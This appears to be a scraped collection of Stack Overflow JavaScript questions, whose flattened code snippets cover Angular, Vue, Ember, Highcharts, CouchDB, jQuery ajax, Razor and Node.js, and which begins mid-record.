( formatString : `` MMMM DD , YYYY '' ) , title , picture { childImageSharp { fluid { ... GatsbyImageSharpFluid } } } } } ...",Gatsby.js - GraphQL Query pdf file in allMarkdownRemark "JS : I 'd like to know the difference between the following and the role of the parentheses : anddo the parentheses require the contained expression to be evaluated first before moving on to the replace method ? I have seen this in code I am maintaining and am curious as to why it would be neccessary ? E.G.and foo.bar.replace ( a , b ) ( foo.bar ) .replace ( a , b ) location.hash.replace ( a , b ) ( location.hash ) .replace ( a , b )",role of parentheses in javascript "JS : I 'm want to launch a code if any modal opens . Commonly I 'm want something like : But I 'm did n't know what to watch . Yes , I can detect open event for each instance , like : But this is n't DRY.P.S . Also I 'm can make something like $ ( '.modal ' ) .hasClass ( 'in ' ) in $ watch function , but this is little bit uglyP.P.S And btw I 'm using ui-router to open modals ( see faq here ) $ scope. $ watch ( function ( ) { return $ modal.isOpenState ; } , function ( val ) { //my code here } , true ) ; modalInstance.opened.then ( function ( ) { //my code here } ) ; $ modal.open ( { templateUrl : `` ... '' , resolve : { ... } , controller : function ( $ scope ) { ... } } ) .result.finally ( function ( ) { //can put code here , but same issue } ) ;",Angular-ui : Is any modal opened ? "JS : i have problem with wavesurferjsIt is overflowing the parent divIt is happening for the first time and on resize of the parent divOn resize it should fit the parent div Question : when parent div is resized waveform should adjust itself to accomodateit is shown in the below image : here is my code : Please help me thanks in advance ! ! ! var wavesurfer = WaveSurfer.create ( { container : ' # waveform ' , // waveColor : 'violet ' , waveColor : ' # 5B88C8 ' , progressColor : ' # 264E73 ' , hideScrollbar : true , cursor : false , drag : false } ) ; wavesurfer.load ( 'https : //ia800301.us.archive.org/15/items/fire_and_ice_librivox/fire_and_ice_frost_apc_64kb.mp3 ' ) ; wavesurfer.enableDragSelection ( { drag : false , slop : 1 , loop : false , } ) ; wavesurfer.on ( 'region-created ' , function ( region ) { console.log ( region.start , region.end ) ; } ) ; wavesurfer.on ( 'ready ' , function ( readyObj ) { wavesurfer.addRegion ( { start : 0 , // time in seconds end : wavesurfer.getDuration ( ) , // time in seconds color : 'hsla ( 100 , 100 % , 30 % , 0.1 ) ' , loop : false , multiple : false , drag : false } ) ; } ) document.querySelectorAll ( 'wave ' ) .forEach ( function ( wave ) { wave.addEventListener ( 'mousedown ' , function ( e ) { e.preventDefault ( ) ; wavesurfer.clearRegions ( ) ; } ) ; } ) ; $ ( '.toggle-width ' ) .on ( 'click ' , function ( ) { var width = $ ( ' # wavesurferContainer ' ) .width ( ) ; width = width - 120 ; $ ( ' # wavesurferContainer ' ) .width ( width + 'px ' ) ; } ) ; handle.wavesurfer-handle { width : 9 % ! important ; max-width : 7px ! important ; /* background : # 03A9F4 ; */ background : orange ; cursor : default ! important ; } # wavesurferContainer { width : calc ( 100 % - 50px ) ; border : 1px solid red ; position : relative ; margin-top : 56px ; } handle.wavesurfer-handle.wavesurfer-handle-end : before { bottom : -17px ! important ; top : unset ! important ; } # waveform { margin-top : 10 % } # waveform wave { overflow : unset ! important ; } span.toggle-width { position : relative ; float : right ; } span.toggle-width : before { content : `` < `` ; position : absolute ; left : 0 ; top : 0 ; background : red ; width : 30px ; height : 30px ; text-align : center ; line-height : 29px ; color : # fff ; font-size : 24px ; } < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/wavesurfer.js/1.2.3/wavesurfer.min.js '' > < /script > < ! -- wavesurfer.js timeline -- > < ! -- < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/wavesurfer.js/1.2.3/plugin/wavesurfer.timeline.min.js '' > < /script > -- > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/wavesurfer.js/1.1.5/plugin/wavesurfer.regions.min.js '' > < /script > < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js '' > < /script > < div id= '' wavesurferContainer '' > < span class= '' toggle-width '' > < /span > < div id= '' waveform '' > < /div > < /div >",Why wavesurferjs is overflowing the parent div "JS : I have two arrays , available_items and requested_items . I want to remove elements from requested_items that are missing in available_items . Using forEach does not give the expected result apparently because the internal index increments even when an element is deleted and the next element would have the old index.Here 's a test case ( also in this jsbin ) : The result is : This will be repeated tens of thousands times , so , using libraries ( e.g . underscore ) , is something I want to avoid if they adversely impact performance . So , my question is , what is the least expensive way to correct this ? var available_items = [ 2 , 5 , 9 , 36 , 48 , 23 ] ; var requested_items = [ 5 , 12 , 49 , 30 , 90 , 17 ] ; requested_items.forEach ( function ( v , i , a ) { if ( available_items.indexOf ( v ) == -1 ) { console.log ( `` will remove `` + i + ' ' + v ) ; a.splice ( i , 1 ) ; } else console.log ( `` will keep `` + i + ' ' + v ) ; } ) ; console.log ( 'Resulting request array is ' + requested_items.toString ( ) ) ; `` will keep 0 5 '' '' will remove 1 12 '' '' will remove 2 30 '' '' will remove 3 17 '' '' Resulting request array is 5,49,90 ''",forEach skips an element when a previous element is deleted "JS : So I recently discovered that I could use < > ... < / > tags in javascript in Firefox , which is handy when defining blocks of HTML or CSS.But I 'm not exactly sure what 's going on , and I like understanding the syntax that I 'm using . What exactly does < > ... < / > return ? I noticed that the escaping works better when I enclose the contents in < ! [ CDATA [ ... ] ] > , so what 's happening there ? Is this Firefox only , or cross-browser ? I tried to look this up online , but ran into the normal google/symbol issue . Plus , most of the results for google CDATA javascript did n't seem relevant . GM_addStyle ( < > < ! [ CDATA [ .page { display : block } /* ... */ td { vertical-align : top } ] ] > < / > ) ; // ... div.innerHTML = < > < ! [ CDATA [ < table class= '' section '' > < ! -- ... -- > < /table > ] ] > < / > ;",Javascript and ` < > ... < / > ` tags "JS : Here , the author mentions Snippet for the same : Now consider a little modification to the above code.The view corresponding to controller2 has been moved inside the view for controller1.For this piece of code inside the controller2 , Are $ scope highlighted above one and the same object ? If yes , how does AngularJS know this ? Had they been same , $ scope.temp in controller2 would be undefined and so then $ scope.newTemp ? For me , they are not the same , considering the o/p of the above program . See below : But then , I am perplexed as to why they both comes out to be one & the same when I debug , How does AngularJS able to access value of $ scope.temp from controller1 in controller2 ? Please clarify ? Lastly , the $ scope object used by the two controllers are not the same $ scope object < body ng-app= '' myapp '' > < div ng-controller= '' myController1 '' > < div > { { data.theVar } } < /div > < div > { { data.common } } < /div > < div ng-controller= '' myController2 '' > < div > { { data.theVar } } < /div > < div > { { data.common } } < /div > < div > { { temp } } < /div > < div > { { newTemp } } < /div > < /div > < /div > < script > var module = angular.module ( `` myapp '' , [ ] ) ; var myController1 = module.controller ( `` myController1 '' , function ( $ scope ) { $ scope.data = { theVar : `` Value One '' , common : `` common Value '' } ; $ scope.temp = `` John Wick 2 is going to be released soon '' ; } ) ; var myController2 = module.controller ( `` myController2 '' , function ( $ scope ) { $ scope.data = { theVar : `` Value Two '' } ; $ scope.newTemp = $ scope.temp ; console.log ( `` '' ) ; } ) ; < /script > < /body > $ scope.newTemp = $ scope.temp ;",How does AngularJS resolves call to variables on $ scope in 2 or more controllers ? "JS : Since many days I tried to understand why a simple link like this one : was always returning full HTML document instead of executing javascript located in my file.js.erb : [ ... ] After hours of debugging I found why : When I rename my main layout file such as : application.haml it renders full HTML document : When I rename my main layout file such as : application.html.haml it executes javascript properly and runs my hello world popup : Why is there a difference in the javascript behavior according the different filenames of my layout ? link_to 'My Link ' , my_path ( format : : js ) , remote : true alert ( 'hello world ' ) Started GET `` /my_path/2.js '' for 127.0.0.1 at 2016-03-05 12:28:20 +0100Processing by MyController # show as JS Rendered my_path/show.js.erb within layouts/application ( 0.1ms ) Rendered layouts/_sidebar.html.erb ( 18.9ms ) Rendered layouts/_headbar.haml ( 0.5ms ) Rendered layouts/_flash_messages.html.haml ( 0.2ms ) Rendered layouts/_footer.html.erb ( 0.1ms ) Completed 200 OK in 102ms ( Views : 59.3ms | ActiveRecord : 2.9ms ) Started GET `` /my_path/8.js '' for 127.0.0.1 at 2016-03-05 12:28:34 +0100Processing by MyController # show as JS Rendered my_path/show.js.erb ( 0.1ms ) Completed 200 OK in 24ms ( Views : 21.8ms | ActiveRecord : 0.4ms )",Difference between application.haml and application.html.haml ? "JS : The code I 'm looking at does not have `` require ( 'event ' ) '' anywhere , and yet I see this codeThat uses `` on '' .And looking at this lineand this linemakes me think that doing require ( 'net ' ) already includes doing require ( 'event ' ) .Is this right ? server.on ( 'error ' , function ( e ) { if ( e.code == 'EADDRINUSE ' ) { console.log ( 'Address in use , retrying ... ' ) ; setTimeout ( function ( ) { //server.close ( ) ; server.listen ( port ) ; //PORT , HOST ) ; } , 1000 ) ; } else { ... ... . var net = require ( 'net ' ) var server = net.createServer ( ) ;","In Node.JS , by doing require ( 'net ' ) , do you not do require ( 'event ' ) ?" "JS : Can someone explain how the beginning and end of the html5shim script works ? the script starts with /* @ and ends with @ */like this : What is the /* @ @ */ doing ? I would expect the /* */ sequence to comment out all lines in between them , but since the script executes , that cant be the case here ? I 'm confused.found at : http : //html5shim.googlecode.com/svn/trunk/html5.js /* @ cc_on ( function ( a , b ) { function ... ... .. ( this , document ) ; @ */",javascript : what does /* @ @ */ mean ? "JS : I use the following razor code to generate some javascript to produce markers on a Google map.In development , this correctly becomes : However , on our production server , it becomes : Which is producing just a grey Google map . What is causing this strange ToString behavior ? editThe Point class is a custom class , not from a library . Here are the relevant parts : @ foreach ( Point point in Model.Points.Take ( 3 ) ) { String longitude = point.Longitude.ToString ( CultureInfo.InvariantCulture ) ; String latitude = point.Latitude.ToString ( CultureInfo.InvariantCulture ) ; < text > var location = new google.maps.LatLng ( @ ( longitude ) , @ ( latitude ) ) ; bounds.extend ( location ) ; var marker = new google.maps.Marker ( { position : location , map : map } ) ; < /text > } var location = new google.maps.LatLng ( 52.2124273 , 5.9545532 ) ; bounds.extend ( location ) ; var marker = new google.maps.Marker ( { position : location , map : map } ) ; var location = new google.maps.LatLng ( 522124273000 , 59545532000 ) ; bounds.extend ( location ) ; var marker = new google.maps.Marker ( { position : location , map : map } ) ; public class Point { private Double latitude ; private Double longitude ; public Double Latitude { get { return latitude ; } } public Double Longitude { get { return longitude ; } } }",Invalid Double.ToString ( ) result in razor code generating javascript "JS : I 'm using a Ext.dataview.DataView view . I want to add a component to this dataview that looks like the grouper headers from a Ext.dataview.List to keep the design consistent . I only want to apply this component once on the head ( so basically there is only one group ) . Changing the view to a list is not an option because it 's complexity would open up much more new problems.What I already tried was to add a panel and applied the x-list-header class , but this did n't worked out . What would be the easiest way to make a component look like the group headers of a list ? Thanks in advance ! Ext.define ( 'app.view.myDataView ' , { extend : 'Ext.dataview.DataView ' , xtype : 'mydataview ' , requires : [ 'app.view.myItem ' , 'Ext.dataview.List ' ] , config : { title : `` myDataView '' , cls : 'myDataView ' , defaultType : 'myitem ' , grouped : true , store : 'myStore ' , useComponents : true , disableSelection : true , deferEmptyText : false , itemCls : 'myItem ' , items : [ { xtype : 'toolbar ' , layout : 'vbox ' , docked : 'top ' , cls : 'myToolbar ' , items : [ { // some toolbar items } ] } , { xtype : 'component ' , cls : ' x-list-header ' , html : 'this is a test ' } /* { xtype : 'panel ' , scrollDock : 'top ' , docked : 'top ' , tpl : new Ext.XTemplate ( ' < div class= '' x-list-header-wrap x-list-header '' > this is a test < /div > ' ) , height:60 } , */ ] } } ) ;",Sencha Touch : Component on DataView that looks like List Group Header "JS : EDITI 've accepted the answer given by @ user943702 below . I needed to modify it slightly to work with my Vue implementation as shown in the snippet below.I have an unknown number of elements that can have different widths . I want to align these elements in a grid so that their left sides line up in each column . Additionally , I want the elements to wrap when the window is sized smaller and maintain the grid . I mocked up what I want in the images below.I am using VueJS 2 to populate the elements into the grid and CSS Flexbox to organize the elements using the following CSS . Below is an example snippet of how it functions now : This almost works ; the elements each have their own width and wrap when the window is resized . However , the elements do not align to a grid.I 've also looked into using CSS Grid , but it looks like you either have to specify the width of each element or the number of columns , both of which I need to be arbitrary.I 'm open to any solution using CSS or JavaScript ( not JQuery please ) . I 'd prefer to not include a 3rd party library but will consider it if it 's the only option . const theElements = [ { name : `` ele1 '' , children : [ { name : 1 } , { name : 2 } , { name : 3 } , { name : 4 } , { name : 5 } ] } , { name : `` ele2 '' , children : [ { name : 1 } , { name : 2 } , { name : 3 } ] } , { name : `` ele3 '' , children : [ { name : 1 } , { name : 2 } , { name : 3 } ] } , { name : `` ele4 '' , children : [ { name : 1 } , { name : 2 } , { name : 3 } ] } , { name : `` ele5 '' , children : [ { name : 1 } , { name : 2 } , { name : 3 } ] } , { name : `` ele6 '' , children : [ { name : 1 } , { name : 2 } , { name : 3 } ] } , { name : `` ele7 '' , children : [ { name : 1 } , { name : 2 } , { name : 3 } ] } , { name : `` ele8 '' , children : [ { name : 1 } , { name : 2 } , { name : 3 } ] } , { name : `` ele9 '' , children : [ { name : 1 } , { name : 2 } , { name : 3 } ] } , { name : `` ele10 '' , children : [ { name : 1 } , { name : 2 } , { name : 3 } ] } , { name : `` ele11 '' , children : [ { name : 1 } , { name : 2 } , { name : 3 } , { name : 4 } , { name : 5 } ] } , { name : `` ele12 '' , children : [ { name : 1 } , { name : 2 } , { name : 3 } ] } ] ; new Vue ( { el : ' # ele-grid ' , data : { elements : theElements } , methods : { // find the first grid line excess { max } // return index ; -1 means no overflow firstoverflowline : function ( cols , max ) { var sum = 0 ; for ( var i = 0 ; i < cols.length ; ++i ) { sum += cols [ i ] ; if ( sum > = max ) return i ; } return -1 ; } , // compute max no of columns in grid // use by ` grid-template-columns : repeat ( < max > , max-content ) ` computegridlines : function ( container ) { var cols = getComputedStyle ( container ) .gridTemplateColumns.split ( /\s+/ ) .map ( parseFloat ) ; var x = this.firstoverflowline ( cols , parseFloat ( getComputedStyle ( container ) .width ) ) ; if ( x == -1 ) return ; container.style.gridTemplateColumns = ` repeat ( $ { x } , max-content ) ` ; this.computegridlines ( container ) ; } , // polyfill ` width : max-content ` maxcontent : function ( container ) { var items = Array.from ( container.children ) ; for ( var i = 0 ; i < items.length ; i++ ) { var item = items [ i ] ; item.style.display = `` flex '' ; item.style.flexFlow = `` column '' ; item.style.alignItems = `` start '' ; var max = Array.from ( item.children ) .reduce ( function ( max , item ) { var { left , right } = item.getBoundingClientRect ( ) ; return Math.max ( max , right - left ) ; } , 0 ) ; item.style.width = ` $ { max } px ` ; } } , // flex-grid-ify a container flexgrid : function ( container ) { container.style.display = ` grid ` ; container.style.gridTemplateColumns = ` repeat ( $ { container.children.length } , max-content ) ` ; this.computegridlines ( container ) ; this.maxcontent ( container ) ; } } , mounted : function ( ) { var container = document.getElementById ( 'ele-grid ' ) ; var _this = this ; this.flexgrid ( container ) ; window.onresize = function ( e ) { _this.flexgrid ( container ) ; } } } ) ; # ele-grid { width:100vw ; } .ele-card { border : 1px solid black ; background : cyan ; margin : 5px 3px ; } .ele-card .children { display : flex ; flex-wrap : nowrap ; padding : 5px ; } .ele-card .child { margin : 0 5px ; width : 30px ; height : 30px ; text-align : center ; line-height : 30px ; border : 1px solid black ; background : magenta ; } < link href= '' https : //maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css '' rel= '' stylesheet '' / > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/vue/2.5.11/vue.min.js '' > < /script > < div id= '' ele-grid '' > < div class= '' ele-card '' v-for= '' ele in elements '' : key= '' ele.name '' > < div class= '' element '' > { { ele.name } } < /div > < div class= '' children '' > < div class= '' child '' v-for= '' child in ele.children '' : key= '' child.name '' > { { child.name } } < /div > < /div > < /div > < /div > const theElements = [ { name : `` ele1 '' , children : [ { name : 1 } , { name : 2 } , { name : 3 } , { name : 4 } , { name : 5 } ] } , { name : `` ele2 '' , children : [ { name : 1 } , { name : 2 } , { name : 3 } ] } , { name : `` ele3 '' , children : [ { name : 1 } , { name : 2 } , { name : 3 } ] } , { name : `` ele4 '' , children : [ { name : 1 } , { name : 2 } , { name : 3 } ] } , { name : `` ele5 '' , children : [ { name : 1 } , { name : 2 } , { name : 3 } ] } , { name : `` ele6 '' , children : [ { name : 1 } , { name : 2 } , { name : 3 } ] } , { name : `` ele7 '' , children : [ { name : 1 } , { name : 2 } , { name : 3 } ] } , { name : `` ele8 '' , children : [ { name : 1 } , { name : 2 } , { name : 3 } ] } , { name : `` ele9 '' , children : [ { name : 1 } , { name : 2 } , { name : 3 } ] } , { name : `` ele10 '' , children : [ { name : 1 } , { name : 2 } , { name : 3 } ] } , { name : `` ele11 '' , children : [ { name : 1 } , { name : 2 } , { name : 3 } , { name : 4 } , { name : 5 } ] } , { name : `` ele12 '' , children : [ { name : 1 } , { name : 2 } , { name : 3 } ] } ] ; new Vue ( { el : ' # ele-grid ' , data : { elements : theElements } } ) ; # ele-grid { display : flex ; flex-wrap : wrap ; } .ele-card { border : 1px solid black ; background : cyan ; margin : 5px 3px ; } .ele-card .children { display : flex ; flex-wrap : nowrap ; padding : 5px ; } .ele-card .child { margin : 0 5px ; width : 30px ; height : 30px ; text-align : center ; line-height : 30px ; border : 1px solid black ; background : magenta ; } < link href= '' https : //maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css '' rel= '' stylesheet '' / > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/vue/2.5.11/vue.min.js '' > < /script > < div id= '' ele-grid '' > < div class= '' ele-card '' v-for= '' ele in elements '' : key= '' ele.name '' > < div class= '' element '' > { { ele.name } } < /div > < div class= '' children '' > < div class= '' child '' v-for= '' child in ele.children '' : key= '' child.name '' > { { child.name } } < /div > < /div > < /div > < /div >",Align arbitrary number of elements with different widths to a grid with wrapping "JS : I was asked today if there was a library to take a list of strings and to compute the most efficient regex to match only those strings . I think it 's an NP Complete problem by itself , but I think we can refine the scope a bit.How would I generate and simplify a regex to match a subset of hosts from a larger set of all hosts on my network ? ( Knowing that I might not get the most efficient regex . ) The first step is easy . From the following list ; appserver1.domain.tldappserver2.domain.tldappserver3.domain.tldI can concatenate and escape them intoAnd I know how to manually simplify the regex intoFrom there I can test that pattern against the full list of hosts and verify that it only matches the selected 3 hosts . What I do n't know is how to automate the simplifying process . Are there any libraries ( in Perl , Javascript or C # ) or common practices ? ThanksUpdate I got some awesome perl modules but I would love a front end solution as well . That means Javascript . I 've searched around but nobody has ported the perl modules to JS and I 'm unsuccessful in finding the language to search for this type of library . appserver1\.domain\.tld|appserver2\.domain\.tld|appserver3\.domain\.tld appserver [ 123 ] \.domain\.tld",Simplifying regex OR patterns "JS : Since views are defined with JSON in CouchDB I 'm having a hard time defining those in a human readable fashion.Take this document : Writing the map function as one long string is plain ugly and it 's insanely hard to spot bugs . I wonder what is the workflow for defining views in CouchDB ? I feel as I 'm missing the obvious . { `` language '' : `` javascript '' , `` views '' : { `` by_location '' : { `` map '' : `` function ( doc ) { if ( doc.location ! = null ) emit ( doc.location , doc ) } '' } , `` by_location_tags '' : { `` map '' : `` function ( doc ) { if ( doc.top_tags ) { for ( i=0 ; i < doc.top_tags.length ; i++ ) { emit ( [ doc.top_tags [ i ] .tag_name , doc.location ] , doc ) ; } } } '' } } }",How do I format CouchDB design documents in a human readable way ? "JS : I 'm using jQuery to sort a column of emails , though they are base64 encoded in js ... so I need a regex command to ignore the < script > . * ? < script > tags and only sort what is after them ( within the < noscript > tags ) .Column HTMLRegex that needs some love < td > < script type= '' text/javascript '' > document.write ( Base64.decode ( 'PG5vYnI+PGEgaHJlZj0ibWFpbHRvOmJpY2VAdWNzYy5lZHUiIHRpdGxlPSJiaWNlQHVjc2MuZWR1Ij5iaWNlPC9hPjwvbm9icj48YnIgLz4K ' ) ) ; < /script > < noscript > username < /noscript > < /td > a.replace ( / < script.* ? < \/script > ( .* ? ) /i , '' $ 1 '' ) ;",Regex using js to strip js from html "JS : When using external js files , browsers can be forced to reload the files . See here . Recently , I 've found out that INLINE scripts are also cached , at least in Chrome , version 80.0.3987.132 , example of snippet : What 's the way of refreshing inline scripts ? Update 1 : I do have to mention that the webserver returning the content is using HTTP 2.0 Update 2 : A solution that works is to have an auxiliary script as base and when the page loads get the `` real '' script content through ajax or websocket then append it to head like so : This does the job but its not optimal as it needs more requests than necessary . Update 3 : Headers sent from backend neither seem to work , using these headers : Update 4 : As per Jinxmcg 's answer , the doc https : //v8.dev/blog/code-caching-for-devs Don ’ t change URLs mentions : we may one day decide to associate caches with the source text rather than source URL , and this advice will no longer be valid.Probably that day has come and is also applied to inline scripts . Thank you everyone for participatingFinal Solution ( works at least under my circumstances ) :1 Backend headers:2 Random string in HTML , JS and CSS , example : < html > < head > < script > alert ( `` I am cached ! `` ) ; < /script > < /head > < body > < script > alert ( `` Me too ! `` ) ; < /script > < /body > < /html > function addScript ( content ) { let s = document.createElement ( 'script ' ) ; s.innerHTML = content ; document.head.appendChild ( s ) ; } Header ( ) .Set ( `` Cache-Control '' , `` no-cache , no-store , must-revalidate '' ) // HTTP 1.1.Header ( ) .Set ( `` Pragma '' , `` no-cache '' ) // HTTP 1.0.Header ( ) .Set ( `` Expires '' , `` 0 '' ) // Proxies . w.Header ( ) .Set ( `` Cache-Control '' , `` no-cache , no-store , must-revalidate , max-age=0 '' ) // HTTP 1.1.w.Header ( ) .Set ( `` Pragma '' , `` no-cache '' ) // HTTP 1.0.w.Header ( ) .Set ( `` Expires '' , `` 0 '' ) // Proxies . < html > < head > < style > -- cache-color : # 8528cc ; //Random hex color generated by backend < /style > < script > console.log ( `` < ? php echo date ( ) ; ? > '' ) ; alert ( `` I am cached ! `` ) ; < /script > < /head > < body > < div > Hidden DIV with a random value : < ? php echo date ( ) ; ? > < /div > < script > console.log ( `` < ? php echo date ( ) ; ? > '' ) ; alert ( `` Me too ! `` ) ; < /script > < /body > < /html >",How to refresh client INLINE javascript "JS : I am following this railscast https : //www.youtube.com/watch ? v=ltoPZEzmtJA but I do n't use coffeescript . I am trying to convert the coffeescript to javascript but I 'm running into a problem.coffeescriptjs.erb fileI did n't understand why he decided to make a class and thought it would be more complicated to convert the whole thing . The trouble I 'm having is the update function . I just plugged his coffee script for the update function into a converter and used the output . This is causing an error saying update is not defined . Where am I going wrong ? Also bonus question : what 's the point of him making a class here ? Thanks ! jQuery - > new AvatarCropper ( ) class AvatarCropper constructor : - > $ ( ' # cropbox ' ) .Jcrop aspectRatio : 1 setSelect : [ 0 , 0 , 600 , 600 ] onSelect : @ update onChange : @ update update : ( coords ) = > $ ( `` # crop_x '' ) .val coords.x $ ( `` # crop_y '' ) .val coords.y $ ( `` # crop_w '' ) .val coords.w $ ( `` # crop_h '' ) .val coords.h $ ( document ) .ready ( function ( ) { $ ( '.crop-image ' ) .on ( 'click ' , function ( ) { $ ( ' # cropbox ' ) .Jcrop ( { aspectRatio : 1 , setSelect : [ 0 , 0 , 100 , 100 ] , onSelect : update , onChange : update } ) } ) ; update : ( function ( _this ) { return function ( coords ) { $ ( '.user ' ) .val ( coords.x ) ; $ ( '.user ' ) .val ( coords.y ) ; $ ( '.user ' ) .val ( coords.w ) ; return $ ( '.user ' ) .val ( coords.h ) ; } ; } ) ( this ) } ) ;",Convert coffeescript function to javascript "JS : I am conducting some Psych experiment on web design , and I want to disable both mouse clicks . ( Please ignore usability issues . I know about them . I intentionally do this for the purpose of my psych experiment . ) So far I succeeded disabling both clicks in Firefox , Chrome , and Safari . In IE , however , when I left click , focus still changes to the place I clicked . I want to stop this behavior ( i.e . focus remains the place before I click ) . It does n't matter whether the system produces alert or not , because I 'm going to use alert anyway.I appreciate if some of you can help me . Please note that I CA N'T use JQuery . My experiment tool can not handle JQuery well . < html > < head > < /head > < body > < div > < select > < option > aa < /option > < /select > < /div > < div > < select > < option > aa < /option > < /select > < /div > < script type= '' text/javascript '' > function mousehandler ( ) { alert ( `` For the purpose of psych experiment , you ca n't use mouse . `` ) ; return false ; } document.oncontextmenu = mousehandler ; document.onmousedown = mousehandler ; < /script > < /body > < /html >","Disabled Left Click ( for Psych Experiment ) , but focus changes in IE . How to prevent ?" "JS : Why is comparing 0 with an array of length 1 returns true whereas it returns false for array length of 2 or more ? For example , var a= [ ] //undefined0 < a //returns falsea.push ( 1 ) // [ 1 ] 0 < a // returns truea.push ( 2 ) // [ 1 , 2 ] 0 < a // return falsea.push ( 3 ) // [ 1 , 2 , 3 ] 0 < a // return false",Why is comparing an integer with array of length 1 returns true while false with array of length 2 or more ? "JS : With node.js module syntax you can load a module and use it all in one expression : Is there any equivalent for ES6 modules ? is the closest I can get ; this is two full statements , and leaves me with an unwanted binding for os . const numCPUs = require ( 'os ' ) .cpus ( ) .length ; import os from 'os ' ; const numCPUs = os.cpus ( ) .length ;",Load and use an ES6 module in one expression "JS : I use highchart everything works good except for the chart print button is not click-able , below are my highchart implementation and reference image . Any ideas , clues , suggestions , recommendations , help ? Issue reference image $ ( ' # chart_portfolio ' ) .highcharts ( { chart : { borderColor : ' # ff0000 ' , width : null , height : null } , title : { text : false , x : -20 //center } , xAxis : { categories : portfolio_creation_date } , yAxis : { title : { text : false } , plotLines : [ { value : 0 , width : 1 , color : ' # ff0000 ' } ] } , tooltip : { shared : true , crosshairs : true } , series : [ { name : 'Future ' , data : portfolio_future , color : ' # 0f00ff ' } , { name : 'In Grace Period ' , data : portfolio_ingrace_period , color : ' # fda800 ' } , { name : 'Arrears ' , data : portfolio_in_arrears , color : ' # f40404 ' } , { name : 'Good standing ' , data : portfolio_good_standing , color : ' # 4da74d ' } ] } ) ; //end of highcharts",highchart print chart/chart context menu un-clickable "JS : I 'd like to move two images together on a page.The layout of this is the following : So the images are next to each other , cells that start with ' 1 ' belong to the first image , those that start with ' 2 ' belong to the second image.When I drag any of the images the expected behaviour is that both images move , but image 1 only on the vertical axis . ( So it remains on the left , but might move up or down as much as image 2 . This image will be used as a sort of header , and needs to be visible on the left all the time , but needs to be vertically in sync with image 2 . ) , image 2 can move along both axes.In the example this means that the 1.1 part of the first image will always be in line with the 2.1 part of the second image.Is there any JS framework that might support this ? I 've tried using fabric JS , but when I cap the coordinates in an event handler it becomes unbelievably slow.This code is what I 've tried , it does n't do exactly what I 've described , this restricts the movement to a rectangle , but the theory behind it is the same . |1.1| -- 2.1 -- ||1.2| -- 2.2 -- ||1.3| -- 2.3 -- ||1.4| -- 2.4 -- | canvas.on ( `` object : moving '' , function ( ) { var top = movingBox.top ; var bottom = top + movingBox.height ; var left = movingBox.left ; var right = left + movingBox.width ; var topBound = boundingBox.top ; var bottomBound = topBound + boundingBox.height ; var leftBound = boundingBox.left ; var rightBound = leftBound + boundingBox.width ; movingBox.setLeft ( Math.min ( Math.max ( left , leftBound ) , rightBound - movingBox.width ) ) ; movingBox.setTop ( Math.min ( Math.max ( top , topBound ) , bottomBound - movingBox.height ) ) ; } ) ;","Drag two images together , but limit one 's movement to vertical axis" "JS : I have declared success and error callbacks , but in case of status code 200 also it calls error callback only.I have been making curl call to some other php file too inside registry.php.Here what i tried : I have read in documentation that we do n't have to call success callback explicitly , hope it 's correct.Any idea how to call success callback when it is 200 status code.RESPONSEhope this will help , this I copied from chrome console , not printed by console.log ( ) . $ .ajax ( { type : `` POST '' , data : { action : `` blah '' , mobileNo : that.mobNo , token : that.key } , url : `` http : //90.8.41.232/localhost/registry.php '' , cache : false , dataType : `` json '' , success : function ( response ) { console.log ( `` success '' ) ; } , error : function ( ) { console.log ( `` error '' ) ; } } ) ; bort : ( statusText ) always : ( ) complete : ( ) done : ( ) error : ( ) fail : ( ) getAllResponseHeaders : ( ) getResponseHeader : ( key ) overrideMimeType : ( type ) pipe : ( ) progress : ( ) promise : ( obj ) readyState : 4responseText : `` { `` success '' : '' Mobile No 9535746622 is approved '' } { `` report '' : true } '' setRequestHeader : ( name , value ) state : ( ) status : 200statusCode : ( map ) statusText : `` OK '' success : ( ) then : ( )",AJAX : only error callback is been fired "JS : I was reading about how circular references cause memory leaks in IE , but I was pretty confused on an example using a closure within closure to break the circular reference : My head got all wrangled with what referenced to what , which are the closures , which are the scope objects . Can someone break it down more explicitly than MDN ? Thanks . function addHandler ( ) { var clickHandler = function ( ) { this.style.backgroundColor = 'red ' ; } ; ( function ( ) { var el = document.getElementById ( 'el ' ) ; el.onclick = clickHandler ; } ) ( ) ; }",How do double closures break circular references ? "JS : In Ember , let 's say I have an object called FoodStuff that has a few properties : How can I write a 'constructor ' in Ember , requiring that the 'name ' and 'category ' properties be provided at instantiation-time ? Angular seems to approach this with fairly straightforward syntax : Angular model objects with JavaScript classesDoes Ember have something similar ? Currently all my classes are as seen at the top , with a bunch of initially null properties that might or might not be properly set by the caller . At build time ( I 'm using ember-cli ) I would like for changes in constructor requirements to be caught downstream by the ember build phase with JSHint . export default Ember.Object.extend ( { name : null , // REQUIRED : 'Slice of Apple Pie ' calories : null , // OPTIONAL : int : eg . 250 category : null , // REQUIRED : 'Pastry ' rating : null // OPTIONAL : int : 1-5 } ) ; .factory ( 'User ' , function ( Organisation ) { /** * Constructor , with class name */ function User ( firstName , lastName , role , organisation ) { // Public properties , assigned to the instance ( 'this ' ) this.firstName = firstName ; ...",Required properties ( constructor args ) in Ember.Object instances "JS : I have a question about the architecture and performance of Node js.I 've done a bunch of reading on the topic ( including on Stack Overflow ) , and I still have a couple of questions . I 'd like to do 2 things : Summarize what I 've learned from crawling many different sourcessemi-concisely to see if my conclusions are correct . Ask a couple questions about the threading and performance of Node that I have n't been able to pin down exact answers on from my research.Node has a Single-Threaded , Asynchronous Event-Handling ArchitectureSingle-Threaded - There is a single event thread that dispatches asynchronous work ( result typically I/O but can be computation ) and performs callback execution ( i.e . handling of async work results ) .The event thread runs in an infinite `` event loop '' doing the 2 jobs above ; a ) handling requests by dispatching async work , and b ) noticing that previous async work results are ready and executing a callback to process the results.The common analogy here is of the restaurant order taker : the event thread is a super-fast waiter that takes orders ( services requests ) from the dining room and delivers the orders to the kitchen to be prepared ( dispatches async work ) , but also notices when food is ready ( asynch results ) and delivers it back to the table ( callback execution ) .The waiter does n't cook any food ; his job is to be going back and forth from dining room to kitchen as quickly as 